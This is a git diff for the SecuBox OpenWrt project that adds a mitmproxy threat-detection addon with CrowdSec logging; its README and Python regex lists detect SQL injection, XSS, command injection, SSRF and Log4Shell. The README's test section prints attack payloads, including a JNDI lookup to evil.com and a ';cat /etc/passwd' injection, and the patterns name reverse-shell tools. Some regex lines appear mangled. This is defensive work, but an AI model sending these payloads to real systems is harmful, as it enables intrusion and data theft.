a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-auth-logger_1.2.2-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk index a4b4dd91..e4939f9d 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-crowdsec-custom_1.1.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk index 74da632f..68f05df0 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cs-firewall-bouncer_0.0.31-r4_aarch64_cortex-a72.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk index dad2a735..943801b0 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-cyberfeed_0.2.1-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk index 614af8ba..6054d270 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-domoticz_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk index 390e8272..20d7bf86 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-exposure_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk index 93cd911c..175fa64e 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-gitea_1.0.0-r5_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk index 7bbaec00..333b644e 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-glances_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk index 24874049..94d3a257 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-haproxy_1.0.0-r23_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk index ff22bf0b..36443623 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-hexojs_1.0.0-r8_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk index 61cd2b66..15619ad2 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai-wb_2.25.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk index 4565e2f7..ede5c6f7 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-localai_2.25.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk index 3a59c93b..39d637ea 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-lyrion_2.0.2-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk index dea659e6..f021fcd9 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-magicmirror2_0.4.0-r8_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk index 36bd5a90..6fca765b 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mailinabox_2.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk index cfff089f..ea764677 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-metabolizer_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk index 37682715..8236130b 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.4.0-r16_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk new file mode 100644 index 00000000..b90ba68c Binary files /dev/null and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mitmproxy_0.5.0-r17_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk index 7a736d2c..982644b3 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-mmpm_0.2.0-r5_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk index 833ed1ca..9a94367a 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-nextcloud_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk index 24ff83df..25ea4779 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-ollama_0.1.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk index fea754c5..513238c5 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-picobrew_1.0.0-r7_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk index 04b2648b..a2906899 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-streamlit_1.0.0-r5_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk index 5afae8af..02974d44 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-tor_1.0.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk index 181e52bc..75cb8ec7 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-webapp_1.5.0-r7_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk index 86c77d41..af6462e4 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app-zigbee2mqtt_1.0.0-r3_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk index ebe3a79f..a1f6c29e 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-app_1.0.0-r2_all.ipk differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk deleted file mode 100644 index c679ab4b..00000000 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-core_0.10.0-r9_all.ipk and /dev/null differ diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk index 30009c62..c016a930 100644 Binary files a/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk and b/package/secubox/secubox-app-bonus/root/www/secubox-feed/secubox-p2p_0.6.0-r1_all.ipk differ diff --git a/package/secubox/secubox-app-mitmproxy/Makefile b/package/secubox/secubox-app-mitmproxy/Makefile index 8047eac6..bfc77e9c 100644 --- a/package/secubox/secubox-app-mitmproxy/Makefile +++ b/package/secubox/secubox-app-mitmproxy/Makefile @@ -1,8 +1,8 @@ include $(TOPDIR)/rules.mk PKG_NAME:=secubox-app-mitmproxy -PKG_RELEASE:=16 -PKG_VERSION:=0.4.0 +PKG_RELEASE:=17 +PKG_VERSION:=0.5.0 PKG_ARCH:=all PKG_MAINTAINER:=CyberMind Studio PKG_LICENSE:=Apache-2.0 @@ -26,6 +26,12 @@ Features: - Modify requests and responses on the fly - Web interface (mitmweb) for easy analysis - Export traffic for offline analysis +- Enhanced threat detection addon (v2.0): + * SQL injection, XSS, command injection + * Path traversal, SSRF, XXE, LDAP injection + * Log4Shell and known CVE detection + * Rate limiting and suspicious header detection + * CrowdSec integration for blocking Runs in LXC container for isolation and security. Configure in /etc/config/mitmproxy. @@ -47,6 +53,10 @@ define Package/secubox-app-mitmproxy/install $(INSTALL_DIR) $(1)/usr/sbin $(INSTALL_BIN) ./files/usr/sbin/mitmproxyctl $(1)/usr/sbin/mitmproxyctl + + # Analytics addon for threat detection + $(INSTALL_DIR) $(1)/srv/mitmproxy/addons + $(INSTALL_DATA) ./root/srv/mitmproxy/addons/secubox_analytics.py $(1)/srv/mitmproxy/addons/ endef define Package/secubox-app-mitmproxy/postinst diff --git a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md new file mode 100644 index 00000000..ef49dec6 --- /dev/null +++ b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md @@ -0,0 +1,223 @@ +# SecuBox Analytics Addon v2.0 + +Advanced threat detection addon for mitmproxy with CrowdSec integration. + +## Features + +### Threat Detection Categories + +| Category | Patterns | Severity | Description | +|----------|----------|----------|-------------| +| **Path Scans** | 50+ | Medium | Config files, admin panels, backups, web shells | +| **SQL Injection** | 25+ | Critical | Classic, blind, error-based, hex/char encoding | +| **XSS** | 30+ | High | Script tags, event handlers, DOM manipulation | +| **Command Injection** | 20+ | Critical | Shell commands, code execution, reverse shells | +| **Path Traversal** | 12+ | High | Directory traversal, encoding bypass | +| **SSRF** | 10+ | High | Internal IP targeting, cloud metadata | +| **XXE** | 8+ | Critical | XML external entity injection | +| **LDAP Injection** | 10+ | High | LDAP query manipulation | +| **Log4Shell** | 7+ | Critical | JNDI/Log4j (CVE-2021-44228) | + +### Known CVE Detection + +- **CVE-2021-44228** - Log4Shell (JNDI injection) +- **CVE-2021-41773/42013** - Apache path traversal +- **CVE-2022-22963** - Spring Cloud Function RCE +- **CVE-2022-22965** - Spring4Shell +- **CVE-2023-34362** - MOVEit Transfer +- **CVE-2024-3400** - PAN-OS GlobalProtect + +### Additional Features + +- **Rate Limiting**: Detects request flooding (100 req/60s threshold) +- **Suspicious Headers**: Identifies attack tool fingerprints +- **Bot Detection**: 40+ scanner/bot signatures +- **GeoIP**: Country-based tracking (requires MaxMind DB) +- **Client Fingerprinting**: MD5 hash of browser characteristics + +## Output Files + +| File | Description | +|------|-------------| +| `/var/log/secubox-access.log` | Full access log (JSON lines) | +| `/var/log/crowdsec/secubox-mitm.log` | CrowdSec-compatible threat log | +| `/tmp/secubox-mitm-alerts.json` | Last 100 security alerts | +| `/tmp/secubox-mitm-stats.json` | Real-time statistics | + +## Log Format + +### Access Log Entry +```json +{ + "timestamp": "2026-01-31T15:30:00Z", + "client_ip": "203.0.113.50", + "country": "CN", + "method": "GET", + "host": "example.com", + "path": "/admin/../../../etc/passwd", + "scan": { + "is_scan": true, + "pattern": "path_traversal", + "type": "traversal", + "severity": "high", + "category": "file_access" + }, + "client": { + "fingerprint": "a1b2c3d4e5f6", + "user_agent": "Mozilla/5.0...", + "is_bot": false, + "device": "linux" + }, + "rate_limit": { + "is_limited": false, + "count": 15 + } +} +``` + +### CrowdSec Log Entry +```json +{ + "timestamp": "2026-01-31T15:30:00Z", + "source_ip": "203.0.113.50", + "country": "CN", + "request": "GET /admin/../../../etc/passwd", + "type": "traversal", + "pattern": "path_traversal", + "category": "file_access", + "severity": "high", + "cve": "", + "is_bot": false, + "rate_limited": false +} +``` + +## CrowdSec Integration + +### Custom Parser + +Create `/etc/crowdsec/parsers/s02-enrich/secubox-mitm.yaml`: + +```yaml +name: secubox/secubox-mitm +description: "Parse SecuBox MITM threat logs" +filter: "evt.Parsed.program == 'secubox-mitm'" +onsuccess: next_stage +nodes: + - grok: + pattern: '%{GREEDYDATA:json_log}' + apply_on: message + - statics: + - parsed: source_ip + expression: JsonExtract(evt.Parsed.json_log, "source_ip") + - parsed: type + expression: JsonExtract(evt.Parsed.json_log, "type") + - parsed: severity + expression: JsonExtract(evt.Parsed.json_log, "severity") + - parsed: pattern + expression: JsonExtract(evt.Parsed.json_log, "pattern") + - meta: source_ip + expression: evt.Parsed.source_ip +``` + +### Custom Scenario + +Create `/etc/crowdsec/scenarios/secubox-mitm-threats.yaml`: + +```yaml +type: trigger +name: secubox/mitm-critical-threat +description: "Block critical threats detected by SecuBox MITM" +filter: evt.Parsed.severity == "critical" +groupby: evt.Parsed.source_ip +blackhole: 5m +labels: + type: scan + service: http + remediation: true +``` + +## Usage + +### Enable in mitmproxy + +```bash +# Run with addon +mitmdump -s /srv/mitmproxy/addons/secubox_analytics.py + +# Or in mitmweb +mitmweb -s /srv/mitmproxy/addons/secubox_analytics.py +``` + +### View Real-time Stats + +```bash +# Watch stats file +watch -n 5 'cat /tmp/secubox-mitm-stats.json | jq' + +# View recent alerts +cat /tmp/secubox-mitm-alerts.json | jq '.[-5:]' + +# Tail CrowdSec log +tail -f /var/log/crowdsec/secubox-mitm.log | jq +``` + +### Test Detection + +```bash +# SQL Injection +curl "http://target/page?id=1'+OR+'1'='1" + +# XSS +curl "http://target/search?q=" + +# Path Traversal +curl "http://target/../../../etc/passwd" + +# Log4Shell +curl -H "X-Api-Token: \${jndi:ldap://evil.com/a}" http://target/ + +# Command Injection +curl "http://target/ping?host=127.0.0.1;cat+/etc/passwd" +``` + +## Configuration + +### Rate Limiting + +Modify in `secubox_analytics.py`: + +```python +# Default: 100 requests per 60 seconds +rate_limit = self._check_rate_limit(source_ip, window_seconds=60, max_requests=100) +``` + +### GeoIP Database + +Download MaxMind GeoLite2: + +```bash +# Place database at: +/srv/mitmproxy/GeoLite2-Country.mmdb +``` + +## Severity Levels + +| Level | Action | Examples | +|-------|--------|----------| +| **Critical** | Immediate alert | SQL injection, Command injection, Log4Shell, XXE | +| **High** | Alert + Log | XSS, Path traversal, SSRF, LDAP injection | +| **Medium** | Log only | Path scans, Bot detection, Config file access | +| **Low** | Stats only | Rate limiting, Suspicious headers | + +## Bot Signatures + +Detected scanners and tools: +- Security: Nmap, Nikto, Nuclei, SQLMap, Burp Suite, OWASP ZAP +- Crawlers: zgrab, masscan, gobuster, ffuf, feroxbuster +- HTTP Clients: curl, wget, python-requests, go-http-client +- Bad Bots: AhrefsBot, SemrushBot, MJ12bot, etc. + +## License + +Apache 2.0 - Part of SecuBox OpenWrt diff --git a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py index 0d03abfb..c83d6f93 100644 --- a/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py +++ b/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/secubox_analytics.py @@ -1,8 +1,9 @@ #!/usr/bin/env python3 """ SecuBox Analytics Addon for mitmproxy +Advanced threat detection with comprehensive pattern matching Logs external access attempts with IP, country, user agent, auth attempts, scan detection -Feeds data to CrowdSec for threat detection +Feeds data to CrowdSec for threat detection and blocking """ import json @@ -11,6 +12,7 @@ import re import hashlib import os from datetime import datetime +from collections import defaultdict from mitmproxy import http, ctx from pathlib import Path @@ -19,32 +21,211 @@ GEOIP_DB = "/srv/mitmproxy/GeoLite2-Country.mmdb" LOG_FILE = "/var/log/secubox-access.log" CROWDSEC_LOG = "/var/log/crowdsec/secubox-mitm.log" ALERTS_FILE = "/tmp/secubox-mitm-alerts.json" +STATS_FILE = "/tmp/secubox-mitm-stats.json" -# Suspicious patterns -SCAN_PATTERNS = [ - r'/\.env', r'/\.git', r'/wp-admin', r'/wp-login', r'/phpmyadmin', - r'/admin', r'/administrator', r'/xmlrpc\.php', r'/wp-content/uploads', - r'/\.aws', r'/\.ssh', r'/config\.php', r'/backup', r'/db\.sql', - r'/shell', r'/cmd', r'/exec', r'/eval', r'\.\./', r'/etc/passwd', - r'/proc/self', r'", r"javascript:", r"vbscript:", + r"onerror\s*=", r"onload\s*=", r"onclick\s*=", r"onmouseover\s*=", + r"onfocus\s*=", r"onblur\s*=", r"onsubmit\s*=", r"onchange\s*=", + r"oninput\s*=", r"onkeyup\s*=", r"onkeydown\s*=", r"onkeypress\s*=", + r"]+src\s*=", r"]+onload", r"]+onfocus", r"expression\s*\(", + r"url\s*\(\s*['\"]?javascript:", r"]+href\s*=\s*['\"]?javascript:", + r"document\.cookie", r"document\.location", r"document\.write", + r"window\.location", r"eval\s*\(", r"settimeout\s*\(", + r"setinterval\s*\(", r"new\s+function\s*\(", +] + +# Command Injection patterns +CMD_INJECTION_PATTERNS = [ + r";\s*cat\s", r";\s*ls\s", r";\s*id\s*;?", r";\s*whoami", + r";\s*uname", r";\s*pwd\s*;?", r";\s*wget\s", r";\s*curl\s", + r"\|\s*cat\s", r"\|\s*ls\s", r"\|\s*id\s", r"\|\s*whoami", + r"`[^`]+`", r"\$\([^)]+\)", r"\$\{[^}]+\}", + r"&&\s*(cat|ls|id|whoami|uname|pwd|wget|curl)", + r"\|\|\s*(cat|ls|id|whoami|uname|pwd)", + r"/bin/(sh|bash|dash|zsh|ksh|csh)", r"/usr/bin/(perl|python|ruby|php)", + r"nc\s+-[elp]", r"netcat", r"ncat", r"/dev/(tcp|udp)/", + r"bash\s+-i", r"python\s+-c", r"perl\s+-e", r"ruby\s+-e", +] + +# Path Traversal patterns +PATH_TRAVERSAL_PATTERNS = [ + r"\.\./", r"\.\.\\", r"\.\./\.\./", r"\.\.\\\.\.\\", + r"%2e%2e/", r"%2e%2e%2f", r"\.%2e/", r"%2e\./", + r"\.\.%5c", r"%252e%252e", r"..;/", r"..;\\", + r"\.\.%c0%af", r"\.\.%c1%9c", r"%c0%ae%c0%ae", + r"file://", r"file:///", +] + +# SSRF (Server-Side Request Forgery) patterns +SSRF_PATTERNS = [ + r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?https?://", + r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?file://", + r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?ftp://", + r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?gopher://", + r"(url|uri|path|src|href|redirect|target|link|fetch|load)\s*=\s*['\"]?dict://", + r"127\.0\.0\.1", r"localhost", r"0\.0\.0\.0", r"\[::1\]", + r"169\.254\.\d+\.\d+", r"10\.\d+\.\d+\.\d+", r"172\.(1[6-9]|2\d|3[01])\.", + r"192\.168\.\d+\.\d+", r"metadata\.google", r"instance-data", +] + +# XXE (XML External Entity) patterns +XXE_PATTERNS = [ + r"]+\[", r" str: """Get country code from IP""" if not self.geoip or ip.startswith(('10.', '172.16.', '192.168.', '127.')): @@ -103,25 +295,173 @@ class SecuBoxAnalytics: } def _detect_scan(self, request: http.Request) -> dict: - """Detect scan/attack patterns""" + """Comprehensive threat detection with categorized patterns""" path = request.path.lower() full_url = request.pretty_url.lower() + query = request.query + body = request.content.decode('utf-8', errors='ignore').lower() if request.content else '' - for pattern in SCAN_PATTERNS: + # Build combined search string + search_targets = [path, full_url, body] + if query: + search_targets.extend([str(v) for v in query.values()]) + + combined = ' '.join(search_targets) + threats = [] + + # Check path-based scans + for pattern in PATH_SCAN_PATTERNS: if re.search(pattern, path, re.IGNORECASE): - return {'is_scan': True, 'pattern': pattern, 'type': 'path_scan'} - if re.search(pattern, full_url, re.IGNORECASE): - return {'is_scan': True, 'pattern': pattern, 'type': 'url_scan'} + return { + 'is_scan': True, 'pattern': pattern, 'type': 'path_scan', + 'severity': 'medium', 'category': 'reconnaissance' + } - # Check for SQL injection - if re.search(r"['\";\-\-]|union|select|insert|drop|update|delete", full_url, re.I): - return {'is_scan': True, 'pattern': 'sql_injection', 'type': 'injection'} + # Check SQL Injection + for pattern in SQL_INJECTION_PATTERNS: + if re.search(pattern, combined, re.IGNORECASE): + return { + 'is_scan': True, 'pattern': 'sql_injection', 'type': 'injection', + 'severity': 'critical', 'category': 'injection', + 'matched_pattern': pattern[:50] + } - # Check for XSS - if re.search(r" list: + """Detect suspicious headers that may indicate attack tools""" + suspicious = [] + for header, patterns in SUSPICIOUS_HEADERS.items(): + value = request.headers.get(header, '') + if value: + for pattern in patterns: + if re.search(pattern, value, re.IGNORECASE): + suspicious.append({ + 'header': header, + 'value': value[:100], + 'pattern': pattern + }) + return suspicious + + def _check_rate_limit(self, ip: str, window_seconds: int = 60, max_requests: int = 100) -> dict: + """Check if IP is exceeding rate limits""" + now = time.time() + # Clean old entries + self.ip_request_count[ip] = [ts for ts in self.ip_request_count[ip] if now - ts < window_seconds] + self.ip_request_count[ip].append(now) + + count = len(self.ip_request_count[ip]) + is_limited = count > max_requests + + if is_limited: + return { + 'is_limited': True, + 'count': count, + 'window': window_seconds, + 'threshold': max_requests + } + return {'is_limited': False, 'count': count} + + def _update_stats(self, entry: dict): + """Update real-time statistics""" + country = entry.get('country', 'XX') + scan_type = entry.get('scan', {}).get('type') + category = entry.get('scan', {}).get('category') + + self.stats['countries'][country] += 1 + self.stats['total']['requests'] += 1 + + if entry.get('client', {}).get('is_bot'): + self.stats['total']['bots'] += 1 + + if scan_type: + self.stats['threats'][scan_type] += 1 + self.stats['total']['threats'] += 1 + + if category: + self.stats['categories'][category] += 1 + + if entry.get('is_auth_attempt'): + self.stats['total']['auth_attempts'] += 1 + + # Write stats periodically (every 100 requests) + if self.stats['total']['requests'] % 100 == 0: + try: + with open(STATS_FILE, 'w') as f: + json.dump(dict(self.stats), f) + except: + pass def _is_auth_attempt(self, request: http.Request) -> bool: """Check if request is authentication attempt""" @@ -139,17 +479,27 @@ class SecuBoxAnalytics: except Exception as e: ctx.log.error(f"Failed to write access log: {e}") - # CrowdSec compatible log (if scan/suspicious) - if entry.get('scan', {}).get('is_scan') or entry.get('is_auth_attempt'): + # CrowdSec compatible log (enhanced format) + scan_data = entry.get('scan', {}) + if scan_data.get('is_scan') or entry.get('is_auth_attempt') or entry.get('suspicious_headers') or entry.get('rate_limit', {}).get('is_limited'): try: cs_entry = { 'timestamp': entry['timestamp'], 'source_ip': entry['client_ip'], 'country': entry['country'], 'request': f"{entry['method']} {entry['path']}", + 'host': entry.get('host', ''), 'user_agent': entry['client'].get('user_agent', ''), - 'type': entry['scan'].get('type') or ('auth_attempt' if entry['is_auth_attempt'] else 'access'), - 'pattern': entry['scan'].get('pattern', '') + 'type': scan_data.get('type') or ('auth_attempt' if entry['is_auth_attempt'] else 'suspicious'), + 'pattern': scan_data.get('pattern', ''), + 'category': scan_data.get('category', ''), + 'severity': scan_data.get('severity', 'low'), + 'cve': scan_data.get('cve', ''), + 'response_code': entry.get('response', {}).get('status', 0), + 'fingerprint': entry['client'].get('fingerprint', ''), + 'is_bot': entry['client'].get('is_bot', False), + 'rate_limited': entry.get('rate_limit', {}).get('is_limited', False), + 'suspicious_headers': len(entry.get('suspicious_headers', [])) > 0, } with open(CROWDSEC_LOG, 'a') as f: f.write(json.dumps(cs_entry) + '\n') @@ -205,7 +555,7 @@ class SecuBoxAnalytics: } def request(self, flow: http.HTTPFlow): - """Process incoming request""" + """Process incoming request with enhanced threat detection""" request = flow.request client_ip = flow.client_conn.peername[0] if flow.client_conn.peername else 